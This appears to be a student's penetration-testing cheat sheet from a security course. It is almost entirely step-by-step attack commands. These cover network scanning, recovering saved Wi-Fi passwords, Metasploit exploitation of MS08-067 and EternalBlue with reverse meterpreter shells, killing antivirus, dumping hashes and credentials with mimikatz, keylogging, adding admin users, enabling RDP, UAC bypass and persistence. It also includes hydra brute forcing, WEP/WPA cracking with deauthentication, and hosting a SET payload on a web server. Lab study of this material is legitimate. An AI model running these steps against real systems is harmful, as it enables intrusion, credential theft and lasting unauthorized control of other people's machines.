Scanning:

* Nessus identify IP address: host address
* Nmap stealth scan: nmap -sS xxx.xxx.xxx.xxx to show open ports
* Nmap subnet scan: nmap xxx.xxx.xxx.xxx/xx
* TCP connect scan: nmap -sT xxx.xxx.xxx.xxx
* UDP scan: nmap -sU xxx.xxx.xxx.xxx
* Detect OS: nmap -A xxx.xxx.xxx.xxx
* Standard service detection nmap -sV xxx.xxx.xxx.xxx
* Aggressve scan: nmap -T4 -n -v -sV -O -Pn xxx.xxx.xxx.xxx
* Narrow OS choices: nmap -sS -O xxx.xxx.xxx.xxx
* More commands here: https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/
* To find all profiles on network:
  + Netsh wlan show profile
  + Netsh wlan show profile *lanname* key=clear (shows password of network)

Cracking:

* If windows xp machine:
  + use exploit/windows/smb/ms08\_067\_netapi
  + set rhost xxx.xxx.xxx.xxx (target)
  + set payload windows/meterpreter/reverse\_tcp
  + set lhost xxx.xxx.xxx.xxx (us)
  + exploit
  + to find permissions once in:
    - getuid
    - getsystem
    - sysinfo
  + run getcountermeasure
    - if av is active: run killav
  + hashdump
  + save as text document
  + run ophcrack
  + run gettelnet -e (forces machine to turn on telnet)
  + to use mimikatz:
    - load mimikatz
    - mimikatz\_command -f fu::
    - msv (dump hashes)
    - kerberos (dump Kerberos info)
    - shell
    - reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG\_DWORD /d 0x1 /f
    - reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG\_DWORD /d 0x1 /f
    - sc config TermService start= auto
    - net start TermService
    - netsh.exe
    - firewall
    - addportopening TCP 3389 “Remote Desktop”
    - net user (finds all users on windows)
    - net user *username* random (gives password for user if not in kerberos dump)
    - net user /add *username* *password* (adds user)
    - net localgroup administrator /add *username* (adds user to admin group)
    - shutdown /r -f -t 0 (shuts down machine now)
    - rdesktop xxx.xxx.xxx.xxx
  + to create persistent access:
    - run getgui -u *username* -p *password*
    - telnet xxx.xxx.xxx.xxx
* EternalBlue and DoublePulsar:
  + Launch Metasploit
  + use exploit/windows/smb/eternalblue\_doublepulsar
  + set RHOST xxx.xxx.xxx.xxx (target)
  + set LHOST xxx.xxx.xxx.xxx (us)
  + set PROCESSINJECT lsass.exe
  + set targetarchitecture x64
  + exploit
  + keyscan\_start
* cracking passwords:
  + hydra -V -L userlist.txt -p rockyou.txt xxx.xxx.xxx.xxx
  + Can also use hydra -h to attack over FTP and SSH
* Armitage
  + /etc/init.d/postgresql start
  + Launch Armitage
  + Add host IP
  + Use nmap scan
  + Find attacks
  + Select attack
  + Select target
  + Select Meterpreter1, access, escalate privileges
  + Select post, windows, escalate, use golden ticket
* Wireless cracking (WEP)
  + airmon-ng check kill
  + airmon-ng start wlan0
  + ifconfig
  + airodump-ng wlan0mon
  + new terminal
  + airodump -ng -bssid xx:xx:xx:xx:xx:xx --channel yy --write WEPCrack wlan0mon (Where xx:xx:xx is the MAC address of your access point, and yy is the channel your access point is using).
  + New terminal
  + *aireplay-ng -3 –b xx:xx:xx:xx:xx:xx –h yy:yy:yy:yy:yy:yy --ignore-negative-one wlan0mon* and press enter.
    - -3 option is for ARP replay
    - –b is the BSSID of the access point
    - –h is the MAC address of the connected client
  + New terminal
  + aircrack-ng WEPCrack-01.cap
  + use ctrl + z to stop if it fails, run command as many times as it takes
* WPA/WPA2 cracking
  + airmon-ng check kill
  + airodump-ng
  + new terminal
  + airodump -ng *--bssid xx:xx:xx:xx:xx:xx --channel yy --write WPACrack wlan0mon* and press enter (Where xx:xx:xx is the bssid/MAC address of your access point, and yy is the channel of your access point).
    - If you do not see the handshake but your client is connected, open a new terminal and type: *aireplay-ng --deauth 3 –a xx:xx:xx:xx:xx:xx wlan0mon --ignore-negative-one* and press enter (Where xx:xx:xx is the MAC address of your access point.
      * What this does is sends a de-authorization command to the access point three times in an effort to reinitiate the handshake between the client and the access point.
  + aircrack-ng WPACrack-01.cap -w /usr/share/wordlists/rockyou.txt
  + Password must be in wordlist to crack
* Setup web server payload
  + Launch SET
  + Select social engineering attacks
  + Select create payload and listener
  + Select windows reverse TCP meterpreter
  + Enter your IP
  + Enter port number (14415)
  + y
  + Launch Armitage
  + Use multi/handler
  + Select TCP/IP payload
  + Change lport to 14415
  + mv /root/.set/payload.exe /var/www/html/
  + make sure that apache is running (service apache2 start)

Stuff to install:

* openvas (instructions in lab 3)
* nessus (instructions in lab 3)
* extract password list for cracking
  + cd /usr/share/wordlists
  + gunzip rockyou.txt
  + ls
  + gunzip.rockyou.txt.gz
  + ls
  + leafpad rockyou.txt
  + move to
* download rainbow tables from ophcrack.sourceforge.net/tables/php
  + extract to downloads
* wine
  + sudo apt-get install wine -y
  + sudo apt-get install winetricks -y
  + dpkg --add-architecture i386 && apt-get update && apt-get install wine32 -y
  + git clone <https://github.com/EllevenPaths/Eternalblue-Doublepulsar-metasploit.git>
  + Copy Eternal Blue-Doublepulsar.rb to /usr/share/metasploit-framework

If you get onto a Windows 7+ machine you must disable UAC by using another metasploit exploit:

Once you have a metasploit shell using a previous exploit such as Eternal Blue, or MS08\_067:

Send your current session to the background.

* Type “background”
* Type “use exploit/windows/local/bypassuac”
* Type “set payload windows/meterpreter/reverse\_tcp”
* Type “set lhost <your IP>”
* Type “set lport 8080”
* Type “set session 1”
* Type “exploit”
* Type “getsystem”
* Type “run persistence –x”
* IT’S YOURS! ☺